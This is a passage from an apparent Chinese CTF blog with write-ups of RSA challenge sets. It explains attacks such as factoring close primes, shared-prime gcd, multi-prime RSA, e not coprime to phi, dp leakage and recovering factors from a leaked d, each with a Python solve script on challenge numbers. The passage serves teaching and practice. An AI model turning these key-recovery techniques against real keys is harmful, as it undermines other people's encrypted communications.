class="number">1</span></span><br><span class="line"> <span class="built_in">print</span>(p)</span><br><span class="line"> <span class="keyword">if</span> n % p == <span class="number">0</span>:</span><br><span class="line"> q = n // p</span><br><span class="line"> <span class="built_in">print</span>(q)</span><br><span class="line"> d = inverse(e,(p-<span class="number">1</span>)*(q-<span class="number">1</span>))</span><br><span class="line"> exit(long_to_bytes(<span class="built_in">pow</span>(c,d,n)))</span><br></pre></td></tr></table></figure><h2 id="RSA2-P11"><a class="headerlink" href="#RSA2-P11"></a>[RSA2]P11</h2><p>这里的e较大，我们不能尝试直接遍历了，根据之前的欧拉降幂加上这个，我们可以推出来</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>a</mi><mrow><mi>e</mi><msub><mi>d</mi><mi>p</mi></msub></mrow></msup><mo>−</mo><mi>a</mi><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi></mrow><annotation encoding="application/x-tex">a^{ed_{p}}-a\equiv 0 \mod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9824em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.2819em;"><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span></span></p><p>所以我们可以直接将这个式子和n取gcd即可得到p<br>我们利用这个方法写脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">n = <span class="number">108280026722298796068968170303156759745471686664814404724171434502249429011870583595808692893118419248225924869164875379709992190884930717654004006466664403479467573176438601715156464950045121937338569942817256182277141174728470067308962244296992229214749863655518517510026063088263849891990324547823192559069</span></span><br><span class="line">e = <span class="number">305691242207901867366357529364270390903</span></span><br><span class="line">c = <span class="number">26537258289122728220745496185201994733321402056894636636642710319261241111675937946139938310952968353253866895253865273981912174303818938005932883052177988834834575591342856235464380238486868448329727891268391728758132913642966389278296932186703733187105516710825918064228397602264185334108934765627411913661</span></span><br><span class="line">dp = <span class="number">2656631506624565349527023729530989647164022271235521672257622068579788839123502046687139927161669209201953909023994372208117081512139181611949631467292513</span></span><br><span class="line"></span><br><span class="line">m = <span class="number">10007</span></span><br><span class="line">p = GCD(<span class="built_in">pow</span>(m,e*dp,n)-m,n)</span><br><span class="line">q = n // p </span><br><span class="line">d = inverse(e,(p-<span class="number">1</span>)*(q-<span class="number">1</span>))</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(<span class="built_in">pow</span>(c,d,n)))</span><br></pre></td></tr></table></figure><h2 id="RSA2-P12"><a class="headerlink" href="#RSA2-P12"></a>[RSA2]P12</h2><p>d泄露，本质就是找了一个数同时是p-1和phi的倍数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line">n = <span class="number">113917408220469425995764932761465306974540330325378601642830241920567032775895088098706711486764203845425248022960733155994427766750033219106642310531864450654102562104771892268897793145789045570107312401570269581223945259704851104645493075550316424129401227653740942495625720165869565257394427181127734628103</span></span><br><span class="line">d = <span class="number">15762135247924329080208071933121250646888501386858311483546464344350547831176536290630826247188272280853810047335214127264865205744683174860903496832368687060941437002920094364116706593296591581117381565805322046922482804679245558495134876677733584718947309975077159564300049936769192724856722338627154192353</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">t = e*d - <span class="number">1</span></span><br><span class="line">s = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> t % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line"> s += <span class="number">1</span></span><br><span class="line"> t //= <span class="number">2</span></span><br><span class="line"></span><br><span class="line">found = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, s):</span><br><span class="line"> c1 = powmod(<span class="number">2</span>, powmod(<span class="number">2</span>, i-<span class="number">1</span>, n)*t, n)</span><br><span class="line"> c2 = powmod(<span class="number">2</span>, powmod(<span class="number">2</span>, i, n)*t, n)</span><br><span class="line"> <span class="keyword">if</span> c1 != <span class="number">1</span> <span class="keyword">and</span> c1 != (-<span class="number">1</span> % n) <span class="keyword">and</span> c2 == <span class="number">1</span>:</span><br><span class="line"> p = gcd(c1 - <span class="number">1</span>, n)</span><br><span class="line"> q = n // p</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> p > q:</span><br><span class="line"> p, q = q, p</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">'NSSCTF{%s}'</span> % hashlib.md5(<span class="built_in">str</span>(p).encode()).hexdigest())</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h2 id="RSA2-P1"><a class="headerlink" href="#RSA2-P1"></a>[RSA2]P1</h2>
<p>加密代码如下</p>
<figure class="highlight python"><table><tr><td class</summary>
<category term="Crypto" scheme="http://fault123.github.io/tags/Crypto/"/>
</entry>
<entry>
<title>工坊wp-RSA1</title>
<link href="http://fault123.github.io/2024/07/26/%E5%B7%A5%E5%9D%8Awp-RSA1/"/>
<id>http://fault123.github.io/2024/07/26/%E5%B7%A5%E5%9D%8Awp-RSA1/</id>
<published>2024-07-25T16:00:00.000Z</published>
<updated>2024-08-06T03:11:46.388Z</updated>
<content type="html"><![CDATA[<h2 id="RSA1-P1"><a class="headerlink" href="#RSA1-P1"></a>[RSA1]P1</h2><p>发现源码直接给我了p,q,e,c,那就很简单了，我们求出phi,N就可以通过inverse函数拿到phi的逆元d，这样就可以直接解出来明文了，代码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">p = <span class="number">10554915510546378513140074459658086644656654144905337809416976066414771647836950941616441505897207397834928781511863699153349798682451297889979721668885951</span></span><br><span class="line">q = <span class="number">8246403321715011123191410826902524505032643184038566851264109473851746507405534573077909160292816825514872584170252311902322051822644609979417178306809223</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">40005881669517895877352756665523238535105922590962714344556374248977905431683140065629966778249773228248201807844489945346731806741025157651474530811920115794270396320935022110691338083709019538562205165553541077855422953438117902279834449006455379382431883650004540282758907332683496655914597029545677184720</span></span><br><span class="line">n = p*q</span><br><span class="line"></span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line">d = inverse(e,phi)</span><br><span class="line">m = <span class="built_in">pow</span>(c,d,n)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><h2 id="RSA1-P2"><a class="headerlink" href="#RSA1-P2"></a>[RSA1]P2</h2><p>这次没有直接给我p和q，但是我们可以通过分解n得到<br>于是我们去yafu(真不如factordb)<br>最终代码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">n = <span class="number">7382582015733895208810490097582153009797420348201515356767397357174775587237553842395468027650317457503579404097373070312978350435795210286224491315941881</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">6511001389892474870028836129813814173158254564777610289284056550272120510686249909340499673868720839756059423749304765055919251717618117507007046973023557</span></span><br><span class="line">p = <span class="number">70538125404512947763739093348083497980212021962975762144416432920656660487657</span></span><br><span class="line">q = <span class="number">104660876276442216612517835199819767034152013287345576481899196023866133215633</span></span><br><span class="line"></span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line">d = inverse(e,phi)</span><br><span class="line">m = <span class="built_in">pow</span>(c,d,n)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><h2 id="RSA1-P3"><a class="headerlink" href="#RSA1-P3"></a>[RSA1]P3</h2><p>也是简单的一个分解</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">n = <span class="number">53690629441472827148854210396580805205350972614395425306316047967905824330731</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">22130296334673852790451396673112575082637108306697684532954477845025885087040</span></span><br><span class="line">p = <span class="number">193584665240506752994134779660255197091</span></span><br><span class="line">q = <span class="number">277349599849597463956171076348973750041</span></span><br><span class="line"></span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line">d = inverse(e,phi)</span><br><span class="line">m = <span class="built_in">pow</span>(c,d,n)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><h2 id="RSA1-P4"><a class="headerlink" href="#RSA1-P4"></a>[RSA1]P4</h2><p>发现就是p-q过小问题，这里yafu集成了这种分解方法，所以我直接yafu一把嗦</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">p = <span class="number">10753464577529272766954987635204502694646829328992120268238206697158857879611091921112122276180123366757978627222693360361364149654146518796988494299998729</span></span><br><span class="line">q = <span class="number">10753464577529272766954987635204502694646829328992120268238206697158857879611091921112122276180123366757978627222693360361364149654146518796988494299998033</span></span><br><span class="line"></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">98161406745910866780822530171878255235776133393411573803496865047700715941955255328757920065032397556905095591171977170479344602512244671081108703687450560269408412671849929423399172588599903975793985819498354819305128607934552101433664794909855378636055525016664559476808490723554481335856183927702549281730</span></span><br><span class="line"></span><br><span class="line">n = p*q</span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">d = inverse(e,phi)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(<span class="built_in">pow</span>(c,d,n)))</span><br></pre></td></tr></table></figure><h2 id="RSA1-P5"><a class="headerlink" href="#RSA1-P5"></a>[RSA1]P5</h2><p>还是yafu一把嗦</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">n = <span class="number">148841588941490812589697505975986386226158446072049530534135525236572105309550985274214825612079495930267744452266230141871521931612761645600600201983605957650711248808703757693378777706453580124982526368706977258199152469200838211055230241296139605912607613807871432800586045262879581100319519318390454452117</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">69038543593219231496623016705860610154255535760819426453485115089535439537440188692852514795648297200067103841434646958466720891016026061658602312900242658759575613625726750416539176437174502082858413122020981274672260498423684555063381678387696096811975800995242962853092582362805345713900308205654744774932</span></span><br><span class="line">p = <span class="number">12200065120379104459630695224710181907653841921369674962900093531339421658815375891425102591939094029941691738405035324548070063226677838530633694428729829</span></span><br><span class="line">q = <span class="number">12200065120379104459630695224710181907653841921369674962900093531339421658815305905822146210878434959851438079877557401145694064756239882458467901042367473</span></span><br><span class="line"></span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line">d = inverse(e,phi)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(<span class="built_in">pow</span>(c,d,n)))</span><br></pre></td></tr></table></figure><h2 id="RSA1-P6"><a class="headerlink" href="#RSA1-P6"></a>[RSA1]P6</h2><p>共享素数攻击，这里的加密算法是</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">p1 = getPrime(<span class="number">512</span>)</span><br><span class="line">q = getPrime(<span class="number">512</span>)</span><br><span class="line">p2 = getPrime(<span class="number">512</span>)</span><br><span class="line"></span><br><span class="line">n1 = p1*q</span><br><span class="line">n2 = p2*q</span><br><span class="line"></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line"></span><br><span class="line">m = bytes_to_long(flag)</span><br><span class="line">c1 = <span class="built_in">pow</span>(m, e, n1)</span><br><span class="line">c2 = <span class="built_in">pow</span>(m, e, n2)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>也就是我们可以通过gcd来算出我们的p1，因为n1和n2有相同的公因数p，而且加密了两次，所以我们只需要随便取一个解密即可，脚本如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 6 </span></span><br><span class="line">n1 = <span class="number">143348646254804947818644803938588739009782265465565896704788366218178523508874903492905378927641178487821742289009401873633609987818871281146199303052141439575438691652893995423962176259643151111739185844059243400387734688275416379337335777994990138009973618431459431410429980866760075387393812720247541406893</span></span><br><span class="line">n2 = <span class="number">138110854441015362783564250048191029327770295545362614687087481715680856350219966472039006526758450117969049316234863489558254565946242898336924686721846675826468588471046162610143748100096038583426519355288325214365299329095841907207926280081868726568947436076663762493891291276498567791697978693639037765169</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c1 = <span class="number">54957154834913405861345262613986460384513988240935244315981524013378872930144117440787175357956479768211180412158274730449811947349624843965933828130932856052315165316154486515277625404352272475136003785605985702495858150662789554694910771308456687676791434476722168247882078861234982509648037033827107552029</span></span><br><span class="line">c2 = <span class="number">122221335585005390437769701090707585780333874638519916373585594040154234166935881089609641995190534396533473702495240511296379249872039728112248708182969185010334637138777948970821974238214641235158623707766980447918480715835847907220219601467702961667091318910582445444058108454023108157805147341928089334736</span></span><br><span class="line"></span><br><span class="line">p = gmpy2.gcd(n1,n2)</span><br><span class="line">q1 = n1 // p</span><br><span class="line">phi = (p-<span class="number">1</span>)*(q1-<span class="number">1</span>)</span><br><span class="line">d = inverse(e,phi)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(<span class="built_in">pow</span>(c1,d,n1)))</span><br></pre></td></tr></table></figure><h2 id="RSA1-P7"><a class="headerlink" href="#RSA1-P7"></a>[RSA1]P7</h2><p>这里涉及到了多因子，我记得没错的话应该都是差不多的算法<br>好吧，看来我的记忆没问题</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">p = <span class="number">10666139331774428325755287635566473140804481321882464031499529816800186578792308674238646794969384836340484775213796013129603472328582005363876462361316357</span></span><br><span class="line">q = <span class="number">8419311673449738061914489023962717718536471719688567807316495262754711350004888752049108347226115000749280146228195893953964759818878155006622123533942989</span></span><br><span class="line">r = <span class="number">12875078327453384158245832541544758526474680184252540739652077682353277702054275525591573258723948221345537075374635382175740236093131628077747126356403959</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">424552463648937499189041230155623101311087334789253159440707211761796081289342164253743235182597460622581134089949035117444838205449163269030784233435435681797627188717450074808905561404960693227573181548281296514743775615606388692910356320667720308219275107443303501165027740512539959960217657836317351146520079753390346207659007421416917274795119021374032194294225350901136669304225010974617136606299060486198480556729770211945777266366417547752798441211059402</span></span><br><span class="line"></span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)*(r-<span class="number">1</span>)</span><br><span class="line">n = p*q*r</span><br><span class="line">d = inverse(e,phi)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(<span class="built_in">pow</span>(c,d,n)))</span><br></pre></td></tr></table></figure><h2 id="RSA1-P8"><a class="headerlink" href="#RSA1-P8"></a>[RSA1]P8</h2><p>加密脚本如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">p = getPrime(<span class="number">256</span>)</span><br><span class="line">q = getPrime(<span class="number">256</span>)</span><br><span class="line">n = (p**<span class="number">3</span>) * q</span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">m = bytes_to_long(flag)</span><br><span class="line"></span><br><span class="line">c = <span class="built_in">pow</span>(m, e, n)</span><br></pre></td></tr></table></figure><p>这里虽然是p的三次方，但是我们可以把它理解为多因子试试<br>但是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>p</mi><mn>3</mn></msup><mo stretchy="false">)</mo><mi>ϕ</mi><mo stretchy="false">(</mo><mi>q</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n) = \phi(p^{3})\phi(q)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mclose">)</span></span></span></span></span></p><p>正确但是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>p</mi><mn>3</mn></msup><mo stretchy="false">)</mo><mo>=</mo><msup><mi>p</mi><mn>2</mn></msup><mo stretchy="false">(</mo><mi>p</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(p^{3}) = p^{2}(p-1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span></span></p><p>这也就是我第一次没有做对的原因<br>所以直接进行一个公式的利用</p><h2 id="RSA1-P9"><a class="headerlink" href="#RSA1-P9"></a>[RSA1]P9</h2><blockquote><ul><li>又是一道多因子的题目，不同的是此处的𝑟=2𝑟𝑛⋅𝑒+1r=2rn⋅e+1，这有什么特殊之处吗？</li></ul></blockquote><pre><code>你可以尝试直接按照P7的exp来进行求解，会发现解出来的明文是乱码，或者你可以将代码中`inverse`函数替换为`gmpy2`中的`invert`函数（二者功能一样），你会发现得到了一个错误`ZeroDivisionError: invert() no inverse exists`提示逆元不存在，这是为什么，我们来看一下此时的𝑝ℎ𝑖phi是多少𝑝ℎ𝑖=(𝑝−1)(𝑞−1)(𝑟−1)=(𝑝−1)(𝑞−1)⋅2𝑟𝑛⋅𝑒phi=(p−1)(q−1)(r−1)=(p−1)(q−1)⋅2rn⋅e然后我们可以发现𝑒e整除𝑝ℎ𝑖phi，所以他们二者是不互素的，不互素则逆元不存在，那为什么`inverse`函数还是能求解呢（虽然答案是错误的），其实我们可以打印一下使用`inverse`函数输出的𝑑d，会发现𝑑=1d=1，他并没有进行数据校验，而是会`1`。</code></pre><ul><li><p>那么此时我们该如何解决这个RSA问题，逆元不存在这说明对应的私钥不存在，难道是不可解了吗？</p><p>答案是否定的，我们可以考虑flag比较短，则flag转为数字后的数𝑚m足够小，则有</p><p>𝑚 𝑝𝑞≡𝑚 𝑛mmodpq≡mmodn</p><p>什么意思呢，也就是说𝑚m不仅比𝑛n（这里的𝑛=𝑝𝑞𝑟n=pqr）还小也比𝑝𝑞pq还小，所以取模得到的结果也相同，那么此时有，设</p><p>𝑐1=𝑐 𝑝𝑞=(𝑚𝑒 𝑛) 𝑝𝑞=𝑚𝑒 𝑝𝑞𝑒𝑑1≡1(mod𝜑(𝑝𝑞))𝑐1𝑑1≡𝑚(mod𝑝𝑞)c1=cmodpq=(memodn)modpq=memodpqed1≡1(modφ(pq))c1d1≡m(modpq)</p><p>即𝑐1c1为𝑐c再模𝑝𝑞pq的结果，根据模的性质有𝑐1c1便是消息使用公钥(𝑝𝑞,𝑒)(pq,e)加密的结果，那么此时我们可以求出该公钥对应的私钥进行解密，得到𝑚 𝑝𝑞mmodpq的结果，又因为𝑚m比较小，所以该结果直接就是𝑚m。</p><p>在实际计算中，我们其实并不需要额外写一句<code>c1 = c % (p*q)</code>，因为根据模的性质，只要最后进行了模运算即可。</p></li><li><p>其实通俗一点的理解就是当𝑚m比较小时，此时就算公钥对应的私钥不存在（逆元不存在），我们可以考虑将公钥转化为其他公钥（用原公钥因子进行重组）再尝试求解私钥进行解密，依然可以得到正确结果。</p><p>这里其实也就解释了为什么P7，P8需要加上大量字符串的填充，就是为了防止使用该方法直接解出，在现实世界的RSA算法应用标准中，明文其实都会用特定算法进行填充来防止这种情况出现。<br>脚本如下</p></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 9 </span></span><br><span class="line">p = <span class="number">7478755670255767435237487693415479182290330775502792675052667363676831056436638619069277770540533350723045234676443621124912287506103439704868369839725279</span></span><br><span class="line">q = <span class="number">9232828888049557325429111621080998490274442347556398052322580869768941301413255711626092627273543579067597113958627672298942570149816938335701615759283713</span></span><br><span class="line">r = <span class="number">102909133680612532601801231903654039</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">142893174944324070830219394465469685943669308818639857030565389839224452373848570577201378981080333784852764502832587008270072323948511579823852437852643609820245476634896477031076952735298279618952398460203032125853063235638358942643559551563899381032067185778629120272032518475352761100115057449043142848203976076694124978394099839339406197</span></span><br><span class="line"></span><br><span class="line">n = p*q*r</span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line">d = inverse(e, phi)</span><br><span class="line">m = <span class="built_in">pow</span>(c, d, p*q)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><h2 id="RSA1-P10"><a class="headerlink" href="#RSA1-P10"></a>[RSA1]P10</h2><p>一个典型的e和phi不互素的问题<br>脚本如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 9</span></span><br><span class="line">p = <span class="number">9927950299160071928293508814174740578824022211226572614475267385787727188317224760986347883270504573953862618573051241506246884352854313099453586586022059</span></span><br><span class="line">q = <span class="number">9606476151905841036013578452822151891782938033700390347379468858357928877640534612459734825681004415976431665670102068256547092636766287603818164456689343</span></span><br><span class="line">e = <span class="number">131074</span></span><br><span class="line">c = <span class="number">68145285629092005589126591120307889109483909395989426479108244531402455690717006058397784318664114589567149811644664654952286387794458474073250495807456996723468838094551501146672038892183058042546944692051403972876692350946611736455784779361761930869993818138259781995078436790236277196516800834433299672560</span></span><br><span class="line">n = p*q</span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line">_gcd = gmpy2.gcd(e, phi)</span><br><span class="line">d = 